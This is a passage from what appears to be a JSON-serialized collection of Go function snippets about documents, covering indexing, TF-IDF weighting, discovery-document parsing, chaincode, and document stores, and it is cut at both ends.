oldDocTokens, _, _, err := wt.analyzeDocument(\\\"old\\\", oldDoc)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn 0, err\\n\\t\\t}\\n\\t\\terr = wt.updateTagsAndTokens(docID, oldTags, newTags, oldDocTokens, newDocTokens)\\n\\t\\tif err != nil {\\n\\t\\t\\tlastError = err\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\treturn docID, nil\\n\\t}\\n\\treturn 0, fmt.Errorf(\\\"fail to register document: %w\\\", lastError)\\n}\",\n \"func (t *simpleTest) createImportDocument() ([]byte, []UserDocument) {\\n\\tbuf := &bytes.Buffer{}\\n\\tdocs := make([]UserDocument, 0, 10000)\\n\\tfmt.Fprintf(buf, `[ \\\"_key\\\", \\\"value\\\", \\\"name\\\", \\\"odd\\\" ]`)\\n\\tfmt.Fprintln(buf)\\n\\tfor i := 0; i < 10000; i++ {\\n\\t\\tkey := fmt.Sprintf(\\\"docimp%05d\\\", i)\\n\\t\\tuserDoc := UserDocument{\\n\\t\\t\\tKey: key,\\n\\t\\t\\tValue: i,\\n\\t\\t\\tName: fmt.Sprintf(\\\"Imported %d\\\", i),\\n\\t\\t\\tOdd: i%2 == 0,\\n\\t\\t}\\n\\t\\tdocs = append(docs, userDoc)\\n\\t\\tfmt.Fprintf(buf, `[ \\\"%s\\\", %d, \\\"%s\\\", %v ]`, userDoc.Key, userDoc.Value, userDoc.Name, userDoc.Odd)\\n\\t\\tfmt.Fprintln(buf)\\n\\t}\\n\\treturn buf.Bytes(), docs\\n}\",\n \"func (f *TFIDF) Cal(doc string) (weight map[string]float64) {\\n\\tweight = make(map[string]float64)\\n\\n\\tvar termFreq map[string]int\\n\\n\\tdocPos := f.docPos(doc)\\n\\tif docPos < 0 {\\n\\t\\ttermFreq = f.termFreq(doc)\\n\\t} else {\\n\\t\\ttermFreq = f.termFreqs[docPos]\\n\\t}\\n\\n\\tdocTerms := 0\\n\\tfor _, freq := range termFreq {\\n\\t\\tdocTerms += freq\\n\\t}\\n\\tfor term, freq := range termFreq {\\n\\t\\tweight[term] = tfidf(freq, docTerms, f.termDocs[term], f.n)\\n\\t}\\n\\n\\treturn weight\\n}\",\n \"func NewDocument(in *yaml.Node, context *compiler.Context) (*Document, error) {\\n\\terrors := make([]error, 0)\\n\\tx := &Document{}\\n\\tm, ok := compiler.UnpackMap(in)\\n\\tif !ok {\\n\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value: %+v (%T)\\\", in, in)\\n\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t} else {\\n\\t\\trequiredKeys := []string{\\\"discoveryVersion\\\", \\\"kind\\\"}\\n\\t\\tmissingKeys := compiler.MissingKeysInMap(m, requiredKeys)\\n\\t\\tif len(missingKeys) > 0 {\\n\\t\\t\\tmessage := fmt.Sprintf(\\\"is missing required %s: %+v\\\", compiler.PluralProperties(len(missingKeys)), strings.Join(missingKeys, \\\", \\\"))\\n\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t}\\n\\t\\tallowedKeys := []string{\\\"auth\\\", \\\"basePath\\\", \\\"baseUrl\\\", \\\"batchPath\\\", \\\"canonicalName\\\", \\\"description\\\", \\\"discoveryVersion\\\", \\\"documentationLink\\\", \\\"etag\\\", \\\"features\\\", \\\"fullyEncodeReservedExpansion\\\", \\\"icons\\\", \\\"id\\\", \\\"kind\\\", \\\"labels\\\", \\\"methods\\\", \\\"mtlsRootUrl\\\", \\\"name\\\", \\\"ownerDomain\\\", \\\"ownerName\\\", \\\"packagePath\\\", \\\"parameters\\\", \\\"protocol\\\", \\\"resources\\\", \\\"revision\\\", \\\"rootUrl\\\", \\\"schemas\\\", \\\"servicePath\\\", \\\"title\\\", \\\"version\\\", \\\"version_module\\\"}\\n\\t\\tvar allowedPatterns []*regexp.Regexp\\n\\t\\tinvalidKeys := compiler.InvalidKeysInMap(m, allowedKeys, allowedPatterns)\\n\\t\\tif len(invalidKeys) > 0 {\\n\\t\\t\\tmessage := fmt.Sprintf(\\\"has invalid %s: %+v\\\", compiler.PluralProperties(len(invalidKeys)), strings.Join(invalidKeys, \\\", \\\"))\\n\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t}\\n\\t\\t// string kind = 1;\\n\\t\\tv1 := compiler.MapValueForKey(m, \\\"kind\\\")\\n\\t\\tif v1 != nil {\\n\\t\\t\\tx.Kind, ok = compiler.StringForScalarNode(v1)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for kind: %s\\\", compiler.Display(v1))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string discovery_version = 2;\\n\\t\\tv2 := compiler.MapValueForKey(m, \\\"discoveryVersion\\\")\\n\\t\\tif v2 != nil {\\n\\t\\t\\tx.DiscoveryVersion, ok = compiler.StringForScalarNode(v2)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for discoveryVersion: %s\\\", compiler.Display(v2))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string id = 3;\\n\\t\\tv3 := compiler.MapValueForKey(m, \\\"id\\\")\\n\\t\\tif v3 != nil {\\n\\t\\t\\tx.Id, ok = compiler.StringForScalarNode(v3)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for id: %s\\\", compiler.Display(v3))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string name = 4;\\n\\t\\tv4 := compiler.MapValueForKey(m, \\\"name\\\")\\n\\t\\tif v4 != nil {\\n\\t\\t\\tx.Name, ok = compiler.StringForScalarNode(v4)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for name: %s\\\", compiler.Display(v4))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string version = 5;\\n\\t\\tv5 := compiler.MapValueForKey(m, \\\"version\\\")\\n\\t\\tif v5 != nil {\\n\\t\\t\\tx.Version, ok = compiler.StringForScalarNode(v5)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for version: %s\\\", compiler.Display(v5))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string revision = 6;\\n\\t\\tv6 := compiler.MapValueForKey(m, \\\"revision\\\")\\n\\t\\tif v6 != nil {\\n\\t\\t\\tx.Revision, ok = compiler.StringForScalarNode(v6)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for revision: %s\\\", compiler.Display(v6))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string title = 7;\\n\\t\\tv7 := compiler.MapValueForKey(m, \\\"title\\\")\\n\\t\\tif v7 != nil {\\n\\t\\t\\tx.Title, ok = compiler.StringForScalarNode(v7)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for title: %s\\\", compiler.Display(v7))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string description = 8;\\n\\t\\tv8 := compiler.MapValueForKey(m, \\\"description\\\")\\n\\t\\tif v8 != nil {\\n\\t\\t\\tx.Description, ok = compiler.StringForScalarNode(v8)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for description: %s\\\", compiler.Display(v8))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// Icons icons = 9;\\n\\t\\tv9 := compiler.MapValueForKey(m, \\\"icons\\\")\\n\\t\\tif v9 != nil {\\n\\t\\t\\tvar err error\\n\\t\\t\\tx.Icons, err = NewIcons(v9, compiler.NewContext(\\\"icons\\\", v9, context))\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\terrors = append(errors, err)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string documentation_link = 10;\\n\\t\\tv10 := compiler.MapValueForKey(m, \\\"documentationLink\\\")\\n\\t\\tif v10 != nil {\\n\\t\\t\\tx.DocumentationLink, ok = compiler.StringForScalarNode(v10)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for documentationLink: %s\\\", compiler.Display(v10))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// repeated string labels = 11;\\n\\t\\tv11 := compiler.MapValueForKey(m, \\\"labels\\\")\\n\\t\\tif v11 != nil {\\n\\t\\t\\tv, ok := compiler.SequenceNodeForNode(v11)\\n\\t\\t\\tif ok {\\n\\t\\t\\t\\tx.Labels = compiler.StringArrayForSequenceNode(v)\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for labels: %s\\\", compiler.Display(v11))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string protocol = 12;\\n\\t\\tv12 := compiler.MapValueForKey(m, \\\"protocol\\\")\\n\\t\\tif v12 != nil {\\n\\t\\t\\tx.Protocol, ok = compiler.StringForScalarNode(v12)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for protocol: %s\\\", compiler.Display(v12))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string base_url = 13;\\n\\t\\tv13 := compiler.MapValueForKey(m, \\\"baseUrl\\\")\\n\\t\\tif v13 != nil {\\n\\t\\t\\tx.BaseUrl, ok = compiler.StringForScalarNode(v13)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for baseUrl: %s\\\", compiler.Display(v13))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string base_path = 14;\\n\\t\\tv14 := compiler.MapValueForKey(m, \\\"basePath\\\")\\n\\t\\tif v14 != nil {\\n\\t\\t\\tx.BasePath, ok = compiler.StringForScalarNode(v14)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for basePath: %s\\\", compiler.Display(v14))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string root_url = 15;\\n\\t\\tv15 := compiler.MapValueForKey(m, \\\"rootUrl\\\")\\n\\t\\tif v15 != nil {\\n\\t\\t\\tx.RootUrl, ok = compiler.StringForScalarNode(v15)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for rootUrl: %s\\\", compiler.Display(v15))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string service_path = 16;\\n\\t\\tv16 := compiler.MapValueForKey(m, \\\"servicePath\\\")\\n\\t\\tif v16 != nil {\\n\\t\\t\\tx.ServicePath, ok = compiler.StringForScalarNode(v16)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for servicePath: %s\\\", compiler.Display(v16))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string batch_path = 17;\\n\\t\\tv17 := compiler.MapValueForKey(m, \\\"batchPath\\\")\\n\\t\\tif v17 != nil {\\n\\t\\t\\tx.BatchPath, ok = compiler.StringForScalarNode(v17)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for batchPath: %s\\\", compiler.Display(v17))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// Parameters parameters = 18;\\n\\t\\tv18 := compiler.MapValueForKey(m, \\\"parameters\\\")\\n\\t\\tif v18 != nil {\\n\\t\\t\\tvar err error\\n\\t\\t\\tx.Parameters, err = NewParameters(v18, compiler.NewContext(\\\"parameters\\\", v18, context))\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\terrors = append(errors, err)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// Auth auth = 19;\\n\\t\\tv19 := compiler.MapValueForKey(m, \\\"auth\\\")\\n\\t\\tif v19 != nil {\\n\\t\\t\\tvar err error\\n\\t\\t\\tx.Auth, err = NewAuth(v19, compiler.NewContext(\\\"auth\\\", v19, context))\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\terrors = append(errors, err)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// repeated string features = 20;\\n\\t\\tv20 := compiler.MapValueForKey(m, \\\"features\\\")\\n\\t\\tif v20 != nil {\\n\\t\\t\\tv, ok := compiler.SequenceNodeForNode(v20)\\n\\t\\t\\tif ok {\\n\\t\\t\\t\\tx.Features = compiler.StringArrayForSequenceNode(v)\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for features: %s\\\", compiler.Display(v20))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// Schemas schemas = 21;\\n\\t\\tv21 := compiler.MapValueForKey(m, \\\"schemas\\\")\\n\\t\\tif v21 != nil {\\n\\t\\t\\tvar err error\\n\\t\\t\\tx.Schemas, err = NewSchemas(v21, compiler.NewContext(\\\"schemas\\\", v21, context))\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\terrors = append(errors, err)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// Methods methods = 22;\\n\\t\\tv22 := compiler.MapValueForKey(m, \\\"methods\\\")\\n\\t\\tif v22 != nil {\\n\\t\\t\\tvar err error\\n\\t\\t\\tx.Methods, err = NewMethods(v22, compiler.NewContext(\\\"methods\\\", v22, context))\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\terrors = append(errors, err)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// Resources resources = 23;\\n\\t\\tv23 := compiler.MapValueForKey(m, \\\"resources\\\")\\n\\t\\tif v23 != nil {\\n\\t\\t\\tvar err error\\n\\t\\t\\tx.Resources, err = NewResources(v23, compiler.NewContext(\\\"resources\\\", v23, context))\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\terrors = append(errors, err)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string etag = 24;\\n\\t\\tv24 := compiler.MapValueForKey(m, \\\"etag\\\")\\n\\t\\tif v24 != nil {\\n\\t\\t\\tx.Etag, ok = compiler.StringForScalarNode(v24)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for etag: %s\\\", compiler.Display(v24))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string owner_domain = 25;\\n\\t\\tv25 := compiler.MapValueForKey(m, \\\"ownerDomain\\\")\\n\\t\\tif v25 != nil {\\n\\t\\t\\tx.OwnerDomain, ok = compiler.StringForScalarNode(v25)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for ownerDomain: %s\\\", compiler.Display(v25))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string owner_name = 26;\\n\\t\\tv26 := compiler.MapValueForKey(m, \\\"ownerName\\\")\\n\\t\\tif v26 != nil {\\n\\t\\t\\tx.OwnerName, ok = compiler.StringForScalarNode(v26)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for ownerName: %s\\\", compiler.Display(v26))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// bool version_module = 27;\\n\\t\\tv27 := compiler.MapValueForKey(m, \\\"version_module\\\")\\n\\t\\tif v27 != nil {\\n\\t\\t\\tx.VersionModule, ok = compiler.BoolForScalarNode(v27)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for version_module: %s\\\", compiler.Display(v27))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string canonical_name = 28;\\n\\t\\tv28 := compiler.MapValueForKey(m, \\\"canonicalName\\\")\\n\\t\\tif v28 != nil {\\n\\t\\t\\tx.CanonicalName, ok = compiler.StringForScalarNode(v28)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for canonicalName: %s\\\", compiler.Display(v28))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// bool fully_encode_reserved_expansion = 29;\\n\\t\\tv29 := compiler.MapValueForKey(m, \\\"fullyEncodeReservedExpansion\\\")\\n\\t\\tif v29 != nil {\\n\\t\\t\\tx.FullyEncodeReservedExpansion, ok = compiler.BoolForScalarNode(v29)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for fullyEncodeReservedExpansion: %s\\\", compiler.Display(v29))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string package_path = 30;\\n\\t\\tv30 := compiler.MapValueForKey(m, \\\"packagePath\\\")\\n\\t\\tif v30 != nil {\\n\\t\\t\\tx.PackagePath, ok = compiler.StringForScalarNode(v30)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for packagePath: %s\\\", compiler.Display(v30))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string mtls_root_url = 31;\\n\\t\\tv31 := compiler.MapValueForKey(m, \\\"mtlsRootUrl\\\")\\n\\t\\tif v31 != nil {\\n\\t\\t\\tx.MtlsRootUrl, ok = compiler.StringForScalarNode(v31)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for mtlsRootUrl: %s\\\", compiler.Display(v31))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\treturn x, compiler.NewErrorGroupOrNil(errors)\\n}\",\n \"func NewDocument(record interface{}, readonly ...bool) *Document {\\n\\tswitch v := record.(type) {\\n\\tcase *Document:\\n\\t\\treturn v\\n\\tcase reflect.Value:\\n\\t\\treturn newDocument(v.Interface(), v, len(readonly) > 0 && readonly[0])\\n\\tcase reflect.Type:\\n\\t\\tpanic(\\\"rel: cannot use reflect.Type\\\")\\n\\tcase nil:\\n\\t\\tpanic(\\\"rel: cannot be nil\\\")\\n\\tdefault:\\n\\t\\treturn newDocument(v, reflect.ValueOf(v), len(readonly) > 0 && readonly[0])\\n\\t}\\n}\",\n \"func NewDocument(url, site, title, content string) *Document {\\n\\tdoc := new(Document)\\n\\tdoc.DocID = uuid.NewV4().String()\\n\\tdoc.Url = url\\n\\tdoc.Site = site\\n\\tdoc.Title = title\\n\\tdoc.Content = content\\n\\n\\treturn doc\\n}\",\n \"func InitDocument(r io.Reader) *Document {\\n\\tdoc := new(Document)\\n\\tdoc.r = r\\n\\n\\treturn doc\\n}\",\n \"func (t *OpetCode) createDocument(APIstub shim.ChaincodeStubInterface, args []string) sc.Response {\\n if len(args) != 3 {\\n return shim.Error(\\\"Incorrect number of arguments. Expecting 3\\\")\\n }\\n\\n user_uid := args[0]\\n uid := args[1]\\n json_props := args[2]\\n doc_key, _ := APIstub.CreateCompositeKey(uid, []string{DOCUMENT_KEY})\\n user_key, _ := APIstub.CreateCompositeKey(user_uid, []string{USER_KEY})\\n\\n if _, err := t.loadDocument(APIstub, doc_key); err == nil {\\n return shim.Error(\\\"Document already exists\\\")\\n }\\n\\n user, err := t.loadUser(APIstub, user_key)\\n if err != nil {\\n return shim.Error(fmt.Sprintf(\\\"The %s user doesn't not exist\\\", user_uid))\\n }\\n user.Documents = append(user.Documents, uid)\\n\\n\\n new_doc := new(Document)\\n new_doc.Data = make(map[string]interface{})\\n err = json.Unmarshal([]byte(json_props), &new_doc.Data)\\n if err != nil {\\n return shim.Error(\\\"Can't parse json props\\\")\\n }\\n\\n new_doc_json, _ := json.Marshal(new_doc)\\n APIstub.PutState(doc_key, new_doc_json)\\n\\n user_json, _ := json.Marshal(user)\\n APIstub.PutState(user_key, user_json)\\n\\n return shim.Success(nil)\\n}\",\n \"func (s *DocumentStore) CreateDocument(ctx context.Context, d *influxdb.Document) error {\\n\\treturn s.service.kv.Update(ctx, func(tx Tx) error {\\n\\t\\t// Check that labels exist before creating the document.\\n\\t\\t// Mapping creation would check for that, but cannot anticipate that until we\\n\\t\\t// have a valid document ID.\\n\\t\\tfor _, l := range d.Labels {\\n\\t\\t\\tif _, err := s.service.findLabelByID(ctx, tx, l.ID); err != nil {\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\terr := s.service.createDocument(ctx, tx, s.namespace, d)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\n\\t\\tfor orgID := range d.Organizations {\\n\\t\\t\\tif err := s.service.addDocumentOwner(ctx, tx, orgID, d.ID); err != nil {\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\tfor _, l := range d.Labels {\\n\\t\\t\\tif err := s.addDocumentLabelMapping(ctx, tx, d.ID, l.ID); err != nil {\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\treturn nil\\n\\t})\\n}\",\n \"func incrementUnigramWrd(dictionary map[string][]TagFrequency, word string, tag string) {\\n\\t// dictionary is the map used for unigram word count/frequency\\n\\t// it is a key->slice of TagFrequency objects\\n\\tif dictionary[word] != nil {\\n\\t\\tfor i := 0; i < len(dictionary[word]); i++ {\\n\\t\\t\\tif tag == dictionary[word][i].tag {\\n\\t\\t\\t\\tdictionary[word][i].freq++\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tdictionary[word] = append(dictionary[word], TagFrequency{tag, 1})\\n\\t\\treturn\\n\\t} else {\\n\\t\\tdictionary[word] = append(dictionary[word], TagFrequency{tag, 1})\\n\\t\\treturn\\n\\t}\\n}\",\n \"func (d *docGenerator) generateDocs(api API) error {\\n\\tdir := api.Configuration().DocsDirectory\\n\\tif !strings.HasSuffix(dir, \\\"/\\\") {\\n\\t\\tdir = dir + \\\"/\\\"\\n\\t}\\n\\n\\tif err := d.mkdir(dir, os.FileMode(0777)); err != nil {\\n\\t\\tapi.Configuration().Logger.Println(err)\\n\\t\\treturn err\\n\\t}\\n\\n\\thandlers := api.ResourceHandlers()\\n\\tdocs := map[string][]handlerDoc{}\\n\\tversions := versions(handlers)\\n\\n\\tfor _, version := range versions {\\n\\t\\tversionDocs := make([]handlerDoc, 0, len(handlers))\\n\\t\\tfor _, handler := range handlers {\\n\\t\\t\\tdoc, err := d.generateHandlerDoc(handler, version, dir)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tapi.Configuration().Logger.Println(err)\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t} else if doc != nil {\\n\\t\\t\\t\\tversionDocs = append(versionDocs, doc)\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\tdocs[version] = versionDocs\\n\\t}\\n\\n\\tif err := d.generateIndexDocs(docs, versions, dir); err != nil {\\n\\t\\tapi.Configuration().Logger.Println(err)\\n\\t\\treturn err\\n\\t}\\n\\n\\tapi.Configuration().Debugf(\\\"Documentation generated in %s\\\", dir)\\n\\treturn nil\\n}\",\n \"func ParseDocument(data []byte) (*Doc, error) {\\n\\t// validate did document\\n\\tif err := validate(data); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\traw := &rawDoc{}\\n\\n\\terr := json.Unmarshal(data, &raw)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"JSON marshalling of did doc bytes bytes failed: %w\\\", err)\\n\\t}\\n\\n\\tpublicKeys, err := populatePublicKeys(raw.PublicKey)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"populate public keys failed: %w\\\", err)\\n\\t}\\n\\n\\tauthPKs, err := populateAuthentications(raw.Authentication, publicKeys)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"populate authentications failed: %w\\\", err)\\n\\t}\\n\\n\\tproofs, err := populateProofs(raw.Proof)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"populate proofs failed: %w\\\", err)\\n\\t}\\n\\n\\treturn &Doc{Context: raw.Context,\\n\\t\\tID: raw.ID,\\n\\t\\tPublicKey: publicKeys,\\n\\t\\tService: populateServices(raw.Service),\\n\\t\\tAuthentication: authPKs,\\n\\t\\tCreated: raw.Created,\\n\\t\\tUpdated: raw.Updated,\\n\\t\\tProof: proofs,\\n\\t}, nil\\n}\",\n \"func (api DocumentAPI) Post(w http.ResponseWriter, r *http.Request) {\\n\\tcreateDocument(uuid.New().String(), w, r)\\n}\",\n \"func IndexizeWord(w string) string {\\n\\treturn strings.TrimSpace(strings.ToLower(w))\\n}\",\n \"func getDocument(ktype string, kid string) (doc map[string]interface{}, handled bool, err error) {\\n discoKey := fmt.Sprintf(\\\"%s:%s\\\", ktype, kid)\\n \\n if _, handled = discoDone[discoKey]; handled {\\n return\\n }\\n\\n res, err := http.Post(\\n fmt.Sprintf(\\\"http://%s:%s/elasticsearch/_mget\\\", flagHost, strconv.Itoa(flagPort)),\\n \\\"application/json\\\",\\n bytes.NewBufferString(fmt.Sprintf(\\\"{\\\\\\\"docs\\\\\\\":[{\\\\\\\"_index\\\\\\\":\\\\\\\".kibana\\\\\\\",\\\\\\\"_type\\\\\\\":\\\\\\\"%s\\\\\\\",\\\\\\\"_id\\\\\\\":\\\\\\\"%s\\\\\\\"}]}\\\", ktype, kid)),\\n )\\n\\n if err != nil {\\n return\\n }\\n\\n defer res.Body.Close()\\n body, err := ioutil.ReadAll(res.Body)\\n\\n if err != nil {\\n return\\n }\\n\\n var data map[string]interface{}\\n\\n err = json.Unmarshal(body, &data)\\n\\n if err != nil {\\n return\\n }\\n\\n docpath := data[\\\"docs\\\"].([]interface{})[0].(map[string]interface{})\\n \\n if true != docpath[\\\"found\\\"].(bool) {\\n err = errors.New(fmt.Sprintf(\\\"Failed to find %s %s\\\", ktype, kid))\\n \\n return\\n }\\n \\n doc = docpath[\\\"_source\\\"].(map[string]interface{})\\n \\n discoDone[discoKey] = true\\n\\n return\\n}\",\n \"func wordcountcomment(x geddit.Comment, words map[string]SubsWordData) {\\n\\t//prepare vars\\n\\tsubstrs := strings.Fields(x.Body)\\n\\ttmpdata := SubsWordData{}\\n\\ttmpUser := UserData{}\\n\\t//regex to remove trailing and leading punctuation\\n\\treg, err := regexp.Compile(`[^0-9a-zA-Z-]`)\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\n\\t//log user information\\n\\ttmpUser, uexists := usermap[x.Author]\\n\\n\\t//if no user exists\\n\\tif !uexists {\\n\\n\\t\\ttmpUser = UserData{\\n\\t\\t\\tUser: x.Author,\\n\\t\\t\\tWords: make(map[string]SubsWordData),\\n\\t\\t}\\n\\n\\t}\\n\\n\\t//range through individual words\\n\\tfor _, word := range substrs {\\n\\t\\t//remove anything but alphanumeric\\n\\t\\tword = reg.ReplaceAllString(word, \\\"\\\")\\n\\t\\t//get rid of words like \\\"I\\\"\\n\\t\\tif len(word) > 1 {\\n\\t\\t\\t//determine if word is stopword\\n\\t\\t\\tif _, stopped := stopwords[word]; !stopped {\\n\\n\\t\\t\\t\\ttmpdata = SubsWordData{}\\n\\t\\t\\t\\t_, ok := words[strings.ToLower(word)]\\n\\n\\t\\t\\t\\tif ok == true {\\n\\t\\t\\t\\t\\t//if that worddata exists in the map\\n\\t\\t\\t\\t\\ttmpdata = words[word]\\n\\n\\t\\t\\t\\t\\ttmpdata.Avgscore = ((tmpdata.Avgscore * tmpdata.Numoccur) + x.UpVotes) / (tmpdata.Numoccur + 1)\\n\\t\\t\\t\\t\\ttmpdata.Numoccur += 1\\n\\t\\t\\t\\t\\ttmpdata.Heur += x.UpVotes\\n\\t\\t\\t\\t\\t// tmpdata.TimePassed =\\n\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\t//if no worddata exists\\n\\t\\t\\t\\t\\ttmpdata = SubsWordData{\\n\\t\\t\\t\\t\\t\\tWord: strings.ToLower(word),\\n\\t\\t\\t\\t\\t\\tNumoccur: 